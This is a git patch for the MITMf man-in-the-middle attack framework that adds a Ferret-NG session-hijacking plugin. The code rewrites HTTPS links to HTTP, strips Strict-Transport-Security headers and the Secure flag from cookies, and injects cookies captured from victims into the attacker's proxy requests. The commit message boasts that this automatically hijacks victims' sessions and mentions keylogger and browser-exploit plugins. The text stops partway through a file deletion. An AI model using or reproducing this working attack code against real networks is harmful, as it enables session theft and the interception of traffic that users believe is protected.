79025dc77eb76e87854d114e86e9ce409b906a61 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 11 May 2015 03:13:45 +0200 Subject: [PATCH 168/323] Initial working PoC for the Ferret-NG plugin that will replace the SessionHijacker plugin: it will capture cookies and trasparently feed them to the proxy it starts up on port 10010 (by default), this way we just have to connect to the proxy, browse to the same website as the victim and we will automatically hijack their session! \o/ The way MITMf hooks SSLstrip's functions has been modified to improve plugin code readability, additionally corrected some useless function hooks that were placed in early framework realeases and never removed. Replace plugin has been given it's own section in the config file currently the BeedAutorun and Javapwn plugins have to be cleaned up... BrowserProfile plugin's Pinlady code has been updated to the latest version (v0.9.0) and will now detect Flash player's version Javapwn plugin will be renamed to BrowserPwn and will support Flash exploits too , as supposed to only Java exploits Since we now have a built in SMB server, removed options to specify a host in the SMBauth plugin Tweaked the output of some plugins --- config/mitmf.conf | 10 +- core/configwatcher.py | 3 +- core/ferretNG/ClientRequest.py | 168 + core/ferretNG/CookieCleaner.py | 105 + core/ferretNG/DnsCache.py | 49 + core/ferretNG/FerretProxy.py | 24 + core/ferretNG/SSLServerConnection.py | 110 + core/ferretNG/ServerConnection.py | 193 + core/ferretNG/ServerConnectionFactory.py | 48 + core/ferretNG/URLMonitor.py | 85 + core/{publicsuffix => ferretNG}/__init__.py | 0 core/publicsuffix/publicsuffix.py | 106 - core/publicsuffix/publicsuffix.txt | 4909 ------------------- core/sergioproxy/ProxyPlugins.py | 28 +- core/sslstrip/ClientRequest.py | 17 +- core/sslstrip/ServerConnection.py | 65 +- core/utils.py | 45 - mitmf.py | 10 +- plugins/AppCachePoison.py | 33 +- plugins/BeefAutorun.py | 4 +- plugins/BrowserProfiler.py | 40 +- plugins/CacheKill.py | 26 +- plugins/FerretNG.py | 60 + plugins/Inject.py | 59 +- plugins/JavaPwn.py | 2 +- plugins/JsKeylogger.py | 27 +- plugins/Replace.py | 67 +- plugins/Responder.py | 3 +- plugins/SMBAuth.py | 12 +- plugins/SessionHijacker.py | 187 - plugins/Spoof.py | 7 +- plugins/Upsidedownternet.py | 19 +- plugins/plugin.py | 47 +- 33 files changed, 1080 insertions(+), 5488 deletions(-) create mode 100644 core/ferretNG/ClientRequest.py create mode 100644 core/ferretNG/CookieCleaner.py create mode 100644 core/ferretNG/DnsCache.py create mode 100644 core/ferretNG/FerretProxy.py create mode 100644 core/ferretNG/SSLServerConnection.py create mode 100644 core/ferretNG/ServerConnection.py create mode 100644 core/ferretNG/ServerConnectionFactory.py create mode 100644 core/ferretNG/URLMonitor.py rename core/{publicsuffix => ferretNG}/__init__.py (100%) delete mode 100644 core/publicsuffix/publicsuffix.py delete mode 100644 core/publicsuffix/publicsuffix.txt create mode 100644 plugins/FerretNG.py delete mode 100644 plugins/SessionHijacker.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 8387fbb..040eec3 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -94,6 +94,14 @@ subnet = 255.255.255.0 dns_server = 192.168.2.20 #optional +[Replace] + + [[Regex1]] + 'Google Search' = 'Google In My Pants' + + [[Regex2]] + "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. @@ -223,7 +231,7 @@ skip_in_mass_poison=1 #you can add other scripts in additional sections like jQuery etc. -[JavaPwn] +[BrowserPwn] # # All versions strings without a * are considered vulnerable if clients Java version is <= update version diff --git a/core/configwatcher.py b/core/configwatcher.py index 03f8e3c..2da6962 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -12,7 +12,6 @@ mitmf_logger = logging.getLogger('mitmf') class ConfigWatcher(FileSystemEventHandler): _instance = None - config = ConfigObj("./config/mitmf.conf") @staticmethod @@ -43,5 +42,5 @@ class ConfigWatcher(FileSystemEventHandler): try: self.config = ConfigObj("./config/mitmf.conf") except Exception as e: - mitmf_logger.warning("Error reloading config file: {}".format(e)) + mitmf_logger.error("Error reloading config file: {}".format(e)) pass diff --git a/core/ferretNG/ClientRequest.py b/core/ferretNG/ClientRequest.py new file mode 100644 index 0000000..ac6a80b --- /dev/null +++ b/core/ferretNG/ClientRequest.py @@ -0,0 +1,168 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse +import logging +import os +import sys +import random +import re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +mitmf_logger = logging.getLogger('mitmf') + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() + #self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'host' in headers: + if headers['host'] in self.urlMonitor.cookies: + mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = self.urlMonitor.cookies[headers['host']] + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + def handleHostResolvedSuccess(self, address): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute + + if self.content: + self.content.seek(0,0) + + postData = self.content.read() + + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) + + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) + + else: + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) + + self.proxyViaHTTP(address, self.method, path, postData, headers, port) + + def handleHostResolvedError(self, error): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) + try: + self.finish() + except: + pass + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) + return defer.succeed(address) + else: + return reactor.resolve(host) + + def process(self): + mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers, port): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = ServerConnection + #self.reactor.connectTCP(host, 80, connectionFactory) + self.reactor.connectTCP(host, port, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() diff --git a/core/ferretNG/CookieCleaner.py b/core/ferretNG/CookieCleaner.py new file mode 100644 index 0000000..5ba393c --- /dev/null +++ b/core/ferretNG/CookieCleaner.py @@ -0,0 +1,105 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/core/ferretNG/DnsCache.py b/core/ferretNG/DnsCache.py new file mode 100644 index 0000000..f0cc638 --- /dev/null +++ b/core/ferretNG/DnsCache.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging + +mitmf_logger = logging.getLogger('mitmf') + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.customAddress = None + self.cache = {} + + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None diff --git a/core/ferretNG/FerretProxy.py b/core/ferretNG/FerretProxy.py new file mode 100644 index 0000000..d95f786 --- /dev/null +++ b/core/ferretNG/FerretProxy.py @@ -0,0 +1,24 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class FerretProxy(HTTPChannel): + + requestFactory = ClientRequest diff --git a/core/ferretNG/SSLServerConnection.py b/core/ferretNG/SSLServerConnection.py new file mode 100644 index 0000000..8ba8007 --- /dev/null +++ b/core/ferretNG/SSLServerConnection.py @@ -0,0 +1,110 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from ServerConnection import ServerConnection +from URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger('mitmf') + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) + mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceFavicon(self, data): + match = re.search(SSLServerConnection.iconExpression, data) + + if (match != None): + data = re.sub(SSLServerConnection.iconExpression, + "", data) + else: + data = re.sub(SSLServerConnection.headExpression, + "", data) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + if (self.urlMonitor.isFaviconSpoofing()): + data = self.replaceFavicon(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/core/ferretNG/ServerConnection.py b/core/ferretNG/ServerConnection.py new file mode 100644 index 0000000..e1e04ef --- /dev/null +++ b/core/ferretNG/ServerConnection.py @@ -0,0 +1,193 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import re +import string +import random +import zlib +import gzip +import StringIO +import sys + +from twisted.web.http import HTTPClient +from URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger('mitmf') + +class ServerConnection(HTTPClient): + + ''' The server connection is where we do the bulk of the stripping. Everything that + comes back is examined. The headers we dont like are removed, and the links are stripped + from HTTPS to HTTP. + ''' + + urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) + urlType = re.compile(r"https://", re.IGNORECASE) + urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlTypewww = re.compile(r"https://www", re.IGNORECASE) + urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) + urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) + urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) + #urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + self.clientInfo = None + self.urlMonitor = URLMonitor.getInstance() + self.isImageRequest = False + self.isCompressed = False + self.contentLength = None + self.shutdownComplete = False + + def getPostPrefix(self): + return "POST" + + def sendRequest(self): + if self.command == 'GET': + + mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) + + self.sendCommand(self.command, self.uri) + + def sendHeaders(self): + for header, value in self.headers.iteritems(): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) + self.sendHeader(header, value) + + self.endHeaders() + + def sendPostData(self): + + self.transport.write(self.postData) + + def connectionMade(self): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") + self.sendRequest() + self.sendHeaders() + + if (self.command == 'POST'): + self.sendPostData() + + def handleStatus(self, version, code, message): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) + self.client.setResponseCode(int(code), message) + + def handleHeader(self, key, value): + if (key.lower() == 'location'): + value = self.replaceSecureLinks(value) + + if (key.lower() == 'content-type'): + if (value.find('image') != -1): + self.isImageRequest = True + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") + + if (key.lower() == 'content-encoding'): + if (value.find('gzip') != -1): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") + self.isCompressed = True + + elif (key.lower()== 'strict-transport-security'): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") + + elif (key.lower() == 'content-length'): + self.contentLength = value + + elif (key.lower() == 'set-cookie'): + self.client.responseHeaders.addRawHeader(key, value) + + else: + self.client.setHeader(key, value) + + def handleEndHeaders(self): + if (self.isImageRequest and self.contentLength != None): + self.client.setHeader("Content-Length", self.contentLength) + + if self.length == 0: + self.shutdown() + + if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + for header, value in self.client.headers.iteritems(): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) + + def handleResponsePart(self, data): + if (self.isImageRequest): + self.client.write(data) + else: + HTTPClient.handleResponsePart(self, data) + + def handleResponseEnd(self): + if (self.isImageRequest): + self.shutdown() + else: + try: + HTTPClient.handleResponseEnd(self) #Gets rid of some generic errors + except: + pass + + def handleResponse(self, data): + if (self.isCompressed): + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") + data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() + + data = self.replaceSecureLinks(data) + + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) + + if (self.contentLength != None): + self.client.setHeader('Content-Length', len(data)) + + try: + self.client.write(data) + except: + pass + + try: + self.shutdown() + except: + mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") + + def replaceSecureLinks(self, data): + + iterator = re.finditer(ServerConnection.urlExpression, data) + + for match in iterator: + url = match.group() + + mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) + + url = url.replace('https://', 'http://', 1) + url = url.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), url) + + data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data) + return re.sub(ServerConnection.urlType, 'http://', data) + + def shutdown(self): + if not self.shutdownComplete: + self.shutdownComplete = True + try: + self.client.finish() + self.transport.loseConnection() + except: + pass diff --git a/core/ferretNG/ServerConnectionFactory.py b/core/ferretNG/ServerConnectionFactory.py new file mode 100644 index 0000000..a64c800 --- /dev/null +++ b/core/ferretNG/ServerConnectionFactory.py @@ -0,0 +1,48 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from twisted.internet.protocol import ClientFactory + +mitmf_logger = logging.getLogger('mimtf') + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + try: + self.client.finish() + except: + pass diff --git a/core/ferretNG/URLMonitor.py b/core/ferretNG/URLMonitor.py new file mode 100644 index 0000000..d1381aa --- /dev/null +++ b/core/ferretNG/URLMonitor.py @@ -0,0 +1,85 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os +import logging + +mitmf_logger = logging.getLogger('mimtf') + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + cookies = dict() + _instance = None + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = dict() + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + return True + + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + + pathIndex = url.find("/", methodIndex) + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + url = method + host + path + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) diff --git a/core/publicsuffix/__init__.py b/core/ferretNG/__init__.py similarity index 100% rename from core/publicsuffix/__init__.py rename to core/ferretNG/__init__.py diff --git a/core/publicsuffix/publicsuffix.py b/core/publicsuffix/publicsuffix.py deleted file mode 100644 index 5488ab2..0000000 --- a/core/publicsuffix/publicsuffix.py +++ /dev/null @@ -1,106 +0,0 @@ -"""Public Suffix List module for Python. -""" - -import codecs -import os.path - -class PublicSuffixList(object): - def __init__(self, input_file=None): - """Reads and parses public suffix list. - - input_file is a file object or another iterable that returns - lines of a public suffix list file. If input_file is None, an - UTF-8 encoded file named "publicsuffix.txt" in the same - directory as this Python module is used. - - The file format is described at http://publicsuffix.org/list/ - """ - - if input_file is None: - input_path = os.path.join(os.path.dirname(__file__), 'publicsuffix.txt') - input_file = codecs.open(input_path, "r", "utf8") - - root = self._build_structure(input_file) - self.root = self._simplify(root) - - def _find_node(self, parent, parts): - if not parts: - return parent - - if len(parent) == 1: - parent.append({}) - - assert len(parent) == 2 - negate, children = parent - - child = parts.pop() - - child_node = children.get(child, None) - - if not child_node: - children[child] = child_node = [0] - - return self._find_node(child_node, parts) - - def _add_rule(self, root, rule): - if rule.startswith('!'): - negate = 1 - rule = rule[1:] - else: - negate = 0 - - parts = rule.split('.') - self._find_node(root, parts)[0] = negate - - def _simplify(self, node): - if len(node) == 1: - return node[0] - - return (node[0], dict((k, self._simplify(v)) for (k, v) in node[1].items())) - - def _build_structure(self, fp): - root = [0] - - for line in fp: - line = line.strip() - if line.startswith('//') or not line: - continue - - self._add_rule(root, line.split()[0].lstrip('.')) - - return root - - def _lookup_node(self, matches, depth, parent, parts): - if parent in (0, 1): - negate = parent - children = None - else: - negate, children = parent - - matches[-depth] = negate - - if depth < len(parts) and children: - for name in ('*', parts[-depth]): - child = children.get(name, None) - if child is not None: - self._lookup_node(matches, depth+1, child, parts) - - def get_public_suffix(self, domain): - """get_public_suffix("www.example.com") -> "example.com" - - Calling this function with a DNS name will return the - public suffix for that name. - - Note that for internationalized domains the list at - http://publicsuffix.org uses decoded names, so it is - up to the caller to decode any Punycode-encoded names. - """ - - parts = domain.lower().lstrip('.').split('.') - hits = [None] * len(parts) - - self._lookup_node(hits, 1, self.root, parts) - - for i, what in enumerate(hits): - if what is not None and what == 0: - return '.'.join(parts[i:]) diff --git a/core/publicsuffix/publicsuffix.txt b/core/publicsuffix/publicsuffix.txt deleted file mode 100644 index 87b2f33..0000000 --- a/core/publicsuffix/publicsuffix.txt +++ /dev/null @@ -1,4909 +0,0 @@ -// ***** BEGIN LICENSE BLOCK ***** -// Version: MPL 1.1/GPL 2.0/LGPL 2.1 -// -// 